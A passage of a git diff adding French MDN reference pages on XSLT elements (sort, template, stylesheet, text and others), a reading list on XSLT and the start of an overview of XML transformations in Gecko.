+</dt><dd>Définit les éléments pour lesquels les espaces doivent être préservées.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Haut niveau, doit être un enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#strip" class="external">XSLT 1.0, section 3.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/preserve-space", "pl": "pl/XSLT/preserve-space" } ) }}
diff --git a/files/fr/web/xslt/processing-instruction/index.html b/files/fr/web/xslt/processing-instruction/index.html
new file mode 100644
index 0000000000..cd5842c36a
--- /dev/null
+++ b/files/fr/web/xslt/processing-instruction/index.html
@@ -0,0 +1,32 @@
+---
+title: processing-instruction
+slug: Web/XSLT/processing-instruction
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/processing-instruction
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:processing-instruction&gt;</code> écrit une instruction de traitement dans le document de sortie.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;code&gt;&lt;xsl:processing-instruction name=NOM&gt;
+	MODÈLE
+&lt;/xsl:processing-instruction&gt;&lt;/code&gt;</pre>
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>name</code>
+</dt><dd>Définit le nom de cette instruction de traitement.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#section-Creating-Processing-Instructions" class="external">XSLT 1.0, section 7.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/processing-instruction", "pl": "pl/XSLT/processing-instruction" } ) }}
diff --git a/files/fr/web/xslt/sommaire/index.html b/files/fr/web/xslt/sommaire/index.html
new file mode 100644
index 0000000000..fcd1895d72
--- /dev/null
+++ b/files/fr/web/xslt/sommaire/index.html
@@ -0,0 +1,8 @@
+---
+title: Sommaire
+slug: Web/XSLT/Sommaire
+translation_of: Web/XSLT/Index
+---
+<div>{{XSLTRef}}{{QuickLinksWithSubpages("/fr/docs/Web/XSLT")}}</div>
+
+<p>{{Index("/fr/docs/Web/XSLT")}}</p>
diff --git a/files/fr/web/xslt/sort/index.html b/files/fr/web/xslt/sort/index.html
new file mode 100644
index 0000000000..1c783db1c3
--- /dev/null
+++ b/files/fr/web/xslt/sort/index.html
@@ -0,0 +1,49 @@
+---
+title: sort
+slug: Web/XSLT/sort
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/sort
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:sort&gt;</code> définit les paramètres de tri pour des nœuds sélectionnés par <code>&lt;xsl:apply-templates&gt;</code> ou par <code>&lt;xsl:for-each&gt;</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">&lt;xsl:sort
+	select=EXPRESSION
+	order="ascending" | "descending"
+	case-order="upper-first"| "lower-first"
+	lang=XML:LANG-CODE
+	data-type="text" | "number" /&gt;
+</pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>select</code>
+</dt><dd>Utilise une expression XPath pour définir les nœuds à classer.
+</dd></dl>
+<dl><dt><code>order</code>
+</dt><dd>Définit si les nœuds doivent être classés dans l'ordre ascendant ou descendant. La valeur par défaut est <code>ascending</code>.
+</dd></dl>
+<dl><dt><code>case-order</code>
+</dt><dd>Indique si ce sont les majuscules ou les minuscules qui apparaitront en premier. Les valeurs autorisées sont <code>upper-first</code> et <code>lower-first</code>.
+</dd></dl>
+<dl><dt><code>lang</code>
+</dt><dd>Définit la langue à utiliser pour le classement.
+</dd></dl>
+<dl><dt><code>data-type</code>
+</dt><dd>Définit si les éléments doivent être ordonnés alphabétiquement ou numériquement. Les valeurs autorisées sont <code>text</code> et <code>number</code> ; <code>text</code> est la valeur par défaut.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Sous-instruction, apparaît toujours comme un enfant de &lt;xsl:for-each&gt;, où il doit apparaître avant le modèle lui-même, ou comme enfant de <code>&lt;xsl:apply-templates&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<ul><li> <a href="http://www.w3.org/TR/xslt#sorting" class="external">XSLT 1.0, section 10 (en)</a>.
+</li><li> <a href="http://xmlfr.org/w3c/TR/xslt/#sorting" class="external">XSLT 1.0, tri (fr)</a>.
+</li></ul>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/sort", "pl": "pl/XSLT/sort" } ) }}
diff --git a/files/fr/web/xslt/strip-space/index.html b/files/fr/web/xslt/strip-space/index.html
new file mode 100644
index 0000000000..76ead0b589
--- /dev/null
+++ b/files/fr/web/xslt/strip-space/index.html
@@ -0,0 +1,31 @@
+---
+title: strip-space
+slug: Web/XSLT/strip-space
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/strip-space
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:strip-space&gt;</code> définit les éléments du document source dont les noeuds descendants ne contenant que des espaces doivent être supprimés.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre class="eval">&lt;xsl:strip-space elements=LISTE-DE-NOMS-D-ÉLÉMENTS  /&gt;
+</pre>
+<h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>elements</code>
+</dt><dd>Définit une liste d'éléments du document source, séparés par des espaces, desquels les nœuds ne comportant que des espaces doivent être supprimés.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<p>Aucun.
+</p>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Haut niveau, doit être l'enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#strip" class="external">XSLT 1.0, section 3.4</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/strip-space", "pl": "pl/XSLT/strip-space" } ) }}
diff --git a/files/fr/web/xslt/stylesheet/index.html b/files/fr/web/xslt/stylesheet/index.html
new file mode 100644
index 0000000000..ba3b517967
--- /dev/null
+++ b/files/fr/web/xslt/stylesheet/index.html
@@ -0,0 +1,46 @@
+---
+title: stylesheet
+slug: Web/XSLT/stylesheet
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/stylesheet
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:stylesheet&gt;</code> (ou son équivalent <code>&lt;xsl:transform&gt;</code>) est l'élément le plus externe d'une feuille de style, celui qui contient tout les autres éléments.
+</p>
+<h3 id="D.C3.A9claration_de_l.27espace_de_nommage" name="D.C3.A9claration_de_l.27espace_de_nommage"> Déclaration de l'espace de nommage </h3>
+<p>Un pseudo-attribut est nécessaire pour identifier le document comme étant une feuille de style XSLT. Typiquement, on utilise <code>xmlns:xsl="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>"</code>.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:stylesheet
+	version=NOMBRE
+	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
+	id=NOM
+	extension-element-prefixes=LISTE-DE-NOMS
+	exclude-result-prefixes=LISTE-DE-NOMS&gt;
+		FEUILLE DE STYLE ENTIÈRE
+&lt;/xsl:stylesheet&gt;</pre> <h3 id="Attribut_obligatoire" name="Attribut_obligatoire"> Attribut obligatoire </h3>
+<dl><dt><code>version</code>
+</dt><dd>Définit la version de XSLT requise par cette feuille de style.
+</dd></dl>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>id </code>(Supporté comme dans Netscape 7.0 uniquement s'il est explicitement appelé par une DTD intégrée)
+</dt><dd>Définit un identifiant <code>id</code> pour cette feuille de style. Cet attribut est le plus souvent utilisé lorsque la feuille de style est incorporée dans un autre document XML.
+</dd></dl>
+<dl><dt>extension-element-prefixes (Non supporté)
+</dt><dd>Définit la liste des préfixes des espaces de nommage pour les éléments d'extension présent dans ce document. Les noms sont séparés par des espaces.
+</dd></dl>
+<dl><dt>exclude-result-prefixes
+</dt><dd>Définit tous les espaces de nommage utilisés dans le document qui ne doivent pas être envoyés vers le document de sortie. Les noms sont séparés par des espaces.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Élément le plus externe de la feuille de style, obligatoire.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#stylesheet-element" class="external">XSLT 1.0, section 2.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Support partiel. Voir les commentaires ci-dessus.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/stylesheet", "pl": "pl/XSLT/stylesheet" } ) }}
diff --git a/files/fr/web/xslt/template/index.html b/files/fr/web/xslt/template/index.html
new file mode 100644
index 0000000000..820b6a7a94
--- /dev/null
+++ b/files/fr/web/xslt/template/index.html
@@ -0,0 +1,45 @@
+---
+title: template
+slug: Web/XSLT/template
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/template
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:template&gt;</code> définit un modèle produisant une sortie. Au moins l'un des atttributs match et set doit posséder une valeur.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:template
+	match=MOTIF
+	name=NOM
+	mode=NOM
+	priority=NOMBRE&gt;
+	&lt;xsl:param&gt; [optionnel]
+	MODÈLE
+&lt;/xsl:template&gt;</pre> <h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attributs_optionnels" name="Attributs_optionnels"> Attributs optionnels </h3>
+<dl><dt><code>match</code>
+</dt><dd>Définit le motif qui détermine les éléments auxquels ce modèle doit être appliqué. Il devient attribut obligatoire si l'attribut <code>name</code> n'est pas présent.
+</dd></dl>
+<dl><dt><code>name</code>
+</dt><dd>Définit un nom pour ce modèle, par lequel il sera invoqué à l'aide de l'élément <code>&lt;xsl:call-template&gt;</code>.
+</dd></dl>
+<dl><dt><code>mode</code>
+</dt><dd>Définit un mode particulier pour ce modèle, qui peut correspondre à un attribut de l'élément <code>&lt;xsl:apply-templates&gt;</code>. Utile pour traiter la même information de différentes façons.
+</dd></dl>
+<dl><dt><code>priority</code>
+</dt><dd>Définit une priorité pour ce modèle, sous forme d'un nombre quelconque, à l'eception de <code>Infinity</code> (infini). Le processeur utilise ce nombre lorsque plusieurs modèles s'appliquent au même nœud.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Haut niveau, doit être l'enfant de <code>&lt;xsl:stylesheet&gt;</code> ou de <code>&lt;xsl:transform&gt;</code>.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a href="http://www.w3.org/TR/xslt#section-Defining-Template-Rules" class="external">XSLT 1.0, section 5.3</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/template", "pl": "pl/XSLT/template" } ) }}
diff --git a/files/fr/web/xslt/text/index.html b/files/fr/web/xslt/text/index.html
new file mode 100644
index 0000000000..c69e56df6c
--- /dev/null
+++ b/files/fr/web/xslt/text/index.html
@@ -0,0 +1,32 @@
+---
+title: text
+slug: Web/XSLT/text
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/text
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:text&gt;</code> écrit un texte littéral dans l'arbre de sortie. Il peut contenir des <code>#PCDATA</code>, du texte littéral, et des références aux entités.
+</p>
+<h3 id="Syntaxe" name="Syntaxe"> Syntaxe </h3>
+<pre>&lt;xsl:text disable-output-escaping="yes" | "no"&gt;
+	TEXTE
+&lt;/xsl:text&gt; </pre>
+<h3 id="Attributs_obligatoires" name="Attributs_obligatoires"> Attributs obligatoires </h3>
+<p>Aucun.
+</p>
+<h3 id="Attribut_optionnel" name="Attribut_optionnel"> Attribut optionnel </h3>
+<dl><dt><code>disable-output-escaping</code> (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour écrire des entités HTML, utilisez les valeurs numériques correspondantes à leur place, par exemple <code>&amp;#160</code> pour <code>&amp;nbsp</code>).
+</dt><dd>Définit si les caractères spéciaux sont échappés lors de l'écriture vers la sortie. Les valeurs autorisées sont <code>yes</code> ou <code>no</code>. Si il est définit à <code>yes</code>, par exemple, le caractère &lt;tt&gt;&gt;&lt;/tt&gt; est envoyé tel quel ( <code>&gt;</code> )et non comme <code>&amp;gt</code>.
+</dd></dl>
+<h3 id="Type" name="Type"> Type </h3>
+<p>Instruction, apparaît dans un modèle.
+</p>
+<h3 id="D.C3.A9finition" name="D.C3.A9finition"> Définition </h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Creating-Text">XSLT 1.0, section 7.2</a>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté comme indiqué plus haut.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/text", "pl": "pl/XSLT/text" } ) }}
diff --git a/files/fr/web/xslt/transform/index.html b/files/fr/web/xslt/transform/index.html
new file mode 100644
index 0000000000..f8b7ae371d
--- /dev/null
+++ b/files/fr/web/xslt/transform/index.html
@@ -0,0 +1,15 @@
+---
+title: transform
+slug: Web/XSLT/transform
+tags:
+  - Référence_XSLT
+translation_of: Web/XSLT/Element/transform
+---
+<p>
+{{ XsltRef() }}
+</p><p>L'élément <code>&lt;xsl:transform&gt;</code> est l'équivalent exact de l'élément <code><a href="fr/XSLT/stylesheet">&lt;xsl:stylesheet&gt;</a></code>.
+</p>
+<h3 id="Support_Gecko" name="Support_Gecko"> Support Gecko </h3>
+<p>Supporté.
+</p><p><span class="comment">Interwiki Languages Links</span>
+</p>{{ languages( { "en": "en/XSLT/transform", "pl": "pl/XSLT/transform" } ) }}
diff --git a/files/fr/web/xslt/transformations_xml_avec_xslt/autres_ressources/index.html b/files/fr/web/xslt/transformations_xml_avec_xslt/autres_ressources/index.html
new file mode 100644
index 0000000000..d91041105f
--- /dev/null
+++ b/files/fr/web/xslt/transformations_xml_avec_xslt/autres_ressources/index.html
@@ -0,0 +1,217 @@
+---
+title: Autres ressources
+slug: Web/XSLT/Transformations_XML_avec_XSLT/Autres_ressources
+tags:
+  - Transformations_XML_avec_XSLT
+  - XML
+  - XSLT
+translation_of: Web/XSLT/Transforming_XML_with_XSLT/For_Further_Reading
+---
+<a href="/fr/docs/Transformations_XML_avec_XSLT">« Transformations XML avec XSLT</a>
+<h3 id="Sources_imprim.C3.A9es" name="Sources_imprim.C3.A9es">Sources imprimées</h3>
+
+<h4 id="Livres" name="Livres">Livres</h4>
+
+<dl>
+ <dd><strong>XSLT: Programmer's Reference, Second Edition</strong>
+
+ <dl>
+  <dd><strong>Auteur</strong> : Michael H. Kay</dd>
+  <dd><strong>Nombre de page</strong> : 992 pages</dd>
+  <dd><strong>Éditeur</strong> : Wrox; 2 edition (May 3, 2001)</dd>
+  <dd><strong>ISBN</strong>: 0764543814
+  <dl>
+   <dd>Michael Kay est membre du groupe de travail XSL du W3C et le développeur de son propre processeur XSLT libre, Saxon. Il est également l'auteur du seul livre sur ce sujet à avoir bénéficié d'une seconde édition. C'est un gros livre, bien articulé, détaillé, épuisant le sujet, voire parfois le lecteur, et qui couvre toutes les bases possibles de XSLT.</dd>
+  </dl>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<p><span class="comment"><a class="external" href="http://www.amazon.com/XSLT-Programmers-Reference-Programmer/dp/0764543814" rel="freelink">http://www.amazon.com/XSLT-Programme.../dp/0764543814</a></span></p>
+
+<p> </p>
+
+<dl>
+ <dd><strong>XSLT</strong>
+
+ <dl>
+  <dd><strong>Auteur</strong> : Doug Tidwell</dd>
+  <dd><strong>Nombre de page</strong> : 473 pages</dd>
+  <dd><strong>Éditeur</strong> : O'Reilly Media; 1 edition (August 15, 2001)</dd>
+  <dd><strong>ISBN</strong>: 0596000537
+  <dl>
+   <dd>Doug Tidwell est un développeur senior chez IBM et un<em>évangéliste</em> reconnu des technologies XML en général. Il est l'auteur de plusieurs articles et tutoriels concernant divers aspects de XML sur l'exhaustif site Web développeur d'IBM. Ce livre est moins complet que celui de Michael Kay, mais il couvre correctement les bases, et offre quelques exemples intéressants.</dd>
+  </dl>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<p><span class="comment"><a class="external" href="http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537" rel="freelink">http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537</a></span></p>
+
+<p> </p>
+
+<dl>
+ <dd><strong>Learning XML, Second Edition</strong>
+
+ <dl>
+  <dd><strong>Auteur</strong> : Erik T. Ray</dd>
+  <dd><strong>Nombre de page</strong> : 432 pages</dd>
+  <dd><strong>Éditeur</strong> : O'Reilly Media; 2 edition (September 22, 2003)</dd>
+  <dd><strong>ISBN</strong>: 0596004206
+  <dl>
+   <dd>Comme l'indique le titre, il s'agit d'un aperçu général de XML. Le chapitre 6 est dédié spécifiquement à XSLT.</dd>
+  </dl>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<p><span class="comment"><a class="external" href="http://www.amazon.com/gp/product/0596004206" rel="freelink">http://www.amazon.com/gp/product/0596004206</a></span></p>
+
+<h3 id="Sources_num.C3.A9riques" name="Sources_num.C3.A9riques">Sources numériques</h3>
+
+<h4 id="Sites_Web" name="Sites_Web">Sites Web</h4>
+
+<dl>
+ <dd><strong>World Wide Web Consortium</strong>
+
+ <dl>
+  <dd><strong>Page d'accueil du W3C</strong> : <a class="external" href="http://www.w3.org/" rel="freelink">http://www.w3.org/</a></dd>
+  <dd><strong>Page de XSL</strong> : <a class="external" href="http://www.w3.org/Style/XSL/" rel="freelink">http://www.w3.org/Style/XSL/</a></dd>
+  <dd><strong>Recommandation XSLT 1.0</strong> : <a class="external" href="http://www.w3.org/TR/xslt" rel="freelink">http://www.w3.org/TR/xslt</a></dd>
+  <dd><strong>Archive of public style (CSS and XSLT) discussions</strong> : <a class="external" href="http://lists.w3.org/Archives/Public/www-style/" rel="freelink">http://lists.w3.org/Archives/Public/www-style/</a></dd>
+  <dd><strong>Recommandation XPath 1.0</strong> : <a class="external" href="http://www.w3.org/TR/xpath" rel="freelink">http://www.w3.org/TR/xpath</a>
+  <dl>
+   <dd>Le World Wide Web Consortium est l'organisme qui publie des recommandations sur un certain nombre de technologies Web, dont beaucoup deviennent de-facto des standards.</dd>
+  </dl>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Articles" name="Articles">Articles</h4>
+
+<dl>
+ <dd><strong>Hands-on XSL</strong>
+
+ <dl>
+  <dd><strong>Auteur</strong> : Don R. Day</dd>
+  <dd><strong>Adresse</strong> : <a class="external" href="http://www-106.ibm.com/developerworks/library/x-hands-on-xsl/" rel="freelink">http://www-106.ibm.com/developerwork...-hands-on-xsl/</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>Understanding XSLT</strong>
+
+ <dl>
+  <dd><strong>Auteur</strong> : Jay Greenspan</dd>
+  <dd><strong>Adresse</strong> : <a class="external" href="http://hotwired.lycos.com/webmonkey/98/43/index2a.html?tw=authoring" rel="freelink">http://hotwired.lycos.com/webmonkey/...l?tw=authoring</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>What is XSLT?</strong>
+
+ <dl>
+  <dd><strong>Auteur</strong> : G. Ken Holman</dd>
+  <dd><strong>Adresse</strong> : <a class="external" href="http://www.xml.com/pub/a/2000/08/holman/index.html" rel="freelink">http://www.xml.com/pub/a/2000/08/holman/index.html</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Tutoriels_et_exemples" name="Tutoriels_et_exemples">Tutoriels et exemples</h4>
+
+<dl>
+ <dd><strong>Zvon</strong>
+
+ <dl>
+  <dd><strong>XSL Programmers</strong> : <a class="external" href="http://www.zvon.org/o_html/group_xsl.html" rel="freelink">http://www.zvon.org/o_html/group_xsl.html</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>Jeni's XSLT Pages</strong>
+
+ <dl>
+  <dd><strong>Index</strong> : <a class="external" href="http://www.jenitennison.com/xslt/" rel="freelink">http://www.jenitennison.com/xslt/</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>XMLPitstop.com</strong>
+
+ <dl>
+  <dd><strong>StyleSheet Center</strong> : <a class="external" href="http://www.xmlpitstop.com/Default.asp?DataType=SSC" rel="freelink">http://www.xmlpitstop.com/Default.asp?DataType=SSC</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>XSL Tutorial</strong>
+
+ <dl>
+  <dd><strong>Index</strong> : <a class="external" href="http://www.nwalsh.com/docs/tutorials/xsl/" rel="freelink">http://www.nwalsh.com/docs/tutorials/xsl/</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Extensions" name="Extensions">Extensions</h4>
+
+<dl>
+ <dd><strong>Extension Firefox <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5023">XSL Results</a></strong>
+
+ <dl>
+  <dd>Permet à chacun d'essayer XSL, en appliquant des feuilles de styles XSL (saisies manuellement, via une URL ou depuis un fichier local) à un document XML (un document chargé dans une fenêtre du navigateur ou un document saisi manuellement).</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Autres_ressources" name="Autres_ressources">Autres ressources</h4>
+
+<dl>
+ <dd><strong>Cover Pages</strong>
+
+ <dl>
+  <dd><strong>Extensible Stylesheet Language (XSL)</strong> : <a class="external" href="http://www.oasis-open.org/cover/xsl.html" rel="freelink">http://www.oasis-open.org/cover/xsl.html</a></dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>XSL-List</strong>
+
+ <dl>
+  <dd><strong>Abonnement</strong> : <a class="external" href="http://www.mulberrytech.com/xsl/xsl-list/" rel="freelink">http://www.mulberrytech.com/xsl/xsl-list/</a></dd>
+  <dd><strong>Archives</strong> : <a class="external" href="http://www.biglist.com/lists/xsl-list/archives/" rel="freelink">http://www.biglist.com/lists/xsl-list/archives/</a>
+  <dl>
+   <dd>XSL-List est une liste de diffusion généraliste très active, hébergée par <a class="external" href="http://mulberrytech.com/">Mulberry Technologies</a></dd>
+  </dl>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<dl>
+ <dd><strong>mozilla.dev.tech.xslt</strong>
+
+ <dl>
+  <dd><strong>Google Groups</strong> : <a class="external" href="http://groups.google.com/group/mozilla.dev.tech.xslt" rel="freelink">http://groups.google.com/group/mozilla.dev.tech.xslt</a>
+
+  <dl>
+   <dd>Ce groupe de discussion est l'endroit où discuter des spécificités XSLT de Netscape.</dd>
+  </dl>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<p><br>
+ <span class="comment">Interwiki Languages Links</span></p>
+
+<p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "pl": "pl/Transformacje_XML_z_XSLT/Przeczytaj_wi\u0119cej" } ) }}</p>
diff --git a/files/fr/web/xslt/transformations_xml_avec_xslt/index.html b/files/fr/web/xslt/transformations_xml_avec_xslt/index.html
new file mode 100644
index 0000000000..11c1e139b0
--- /dev/null
+++ b/files/fr/web/xslt/transformations_xml_avec_xslt/index.html
@@ -0,0 +1,112 @@
+---
+title: Transformations XML avec XSLT
+slug: Web/XSLT/Transformations_XML_avec_XSLT
+tags:
+  - Transformations_XML_avec_XSLT
+  - XML
+  - XSLT
+translation_of: Web/XSLT/Transforming_XML_with_XSLT
+---
+<p>
+</p><p><br>
+</p>
+<h3 id="Pr.C3.A9sentation"> <a href="fr/Transformations_XML_avec_XSLT/Pr%c3%a9sentation">Présentation</a> </h3>
+<p>La séparation du contenu et de la présentation est l'une des caractéristiques principale du <a href="fr/XML">XML</a>. La structure d'un document XML est conçue pour refléter et clarifier les relations entre les différents aspects du contenu lui-même, sans l'obsurcir par la nécessité d'y intégrer des indications sur la présentation qui lui sera appliquée ensuite. Cette structure intelligente est particulièrement importante, car de plus en plus de transferts de données sont automatisés et se font entre des machines très hétérogènes reliées par un réseau.
+</p><p>Mais au bout du compte, la plus grande partie du contenu des documents XML devra être présentée à des lecteurs humains. Parce qu'un navigateur possède une interface familière et extrêmement flexible, c'est un moyen idéal pour afficher une version du contenu XML remise en forme spécifiquement pour être présentée. Conçu dès ses débuts pour s'appuyer sur un large éventail de technologies XML, Mozilla intègre tous les mécanismes nécessaires au traitement des documents XML originaux, et des feuilles de styles spécialisées utilisées pour définir le traitement à leur appliquer pour un affichage en HTML. En déplaçant le processus de transformation du côté client, on réduit ainsi la charge serveur.
+</p><p>Actuellement, Gecko (le moteur de rendu de Mozilla et Firefox) supporte deux formats de feuilles de styles XML. Pour le contrôle basique de l'apparence -- fontes, couleurs, position, etc. -- Gecko utilise <a href="fr/CSS">CSS</a>, tiré du <a href="fr/DHTML">DHTML</a>. Toutes les spécifications CSS1 et la majorité des CSS2 sont supportées, le support du tout récent CSS3 est en développement. Pour plus d'information à propos de CSS, consultez le site <a class="external" href="http://www.meyerweb.com/eric/css/">Eric Meyer's CSS pages</a>.
+</p><p>Nous nous intéressons ici au second type de feuilles de styles supporté par Gecko : la feuille de style XSLT. XSLT signifie <i>eXtensible Stylesheet Language/Transform</i>. XSLT permet à un concepteur de feuilles de styles de transformer un document XML de départ de deux façons significatives : manipuler et réordonner le contenu (une réorganisation complète de celui-ci est possible si on le désire), et le transférer dans un autre format (dans le cas de Mozilla, on se concentre sur sa conversion à la volée en HTML pour permettre son affichage dans le navigateur).
+</p>
+<h3 id="R.C3.A9f.C3.A9rence_XSLT.2FXPath"> Référence XSLT/XPath </h3>
+<h4 id=".C3.89l.C3.A9ments"> <a href="fr/XSLT/%c3%89l%c3%a9ments">Éléments</a> </h4>
+<ul><li> <a href="fr/XSLT/apply-imports">xsl:apply-imports</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/apply-templates">xsl:apply-templates</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/attribute">xsl:attribute</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/attribute-set">xsl:attribute-set</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/call-template">xsl:call-template</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/choose">xsl:choose</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/comment">xsl:comment</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/copy">xsl:copy</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/copy-of">xsl:copy-of</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/decimal-format">xsl:decimal-format</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/element">xsl:element</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/fallback">xsl:fallback</a> <i>(non supporté)</i>
+</li><li> <a href="fr/XSLT/for-each">xsl:for-each</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/if">xsl:if</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/import">xsl:import</a> <i>(mostly supported)</i>
+</li><li> <a href="fr/XSLT/include">xsl:include</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/key">xsl:key</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/message">xsl:message</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/namespace-alias">xsl:namespace-alias</a> <i>(non supporté)</i>
+</li><li> <a href="fr/XSLT/number">xsl:number</a> <i>(partiellement supporté)</i>
+</li><li> <a href="fr/XSLT/otherwise">xsl:otherwise</a> <i>(supporté)</i>
+</li><li> <a href="fr/XSLT/output">xsl:output</a> <i>(partiellement supporté)</i>
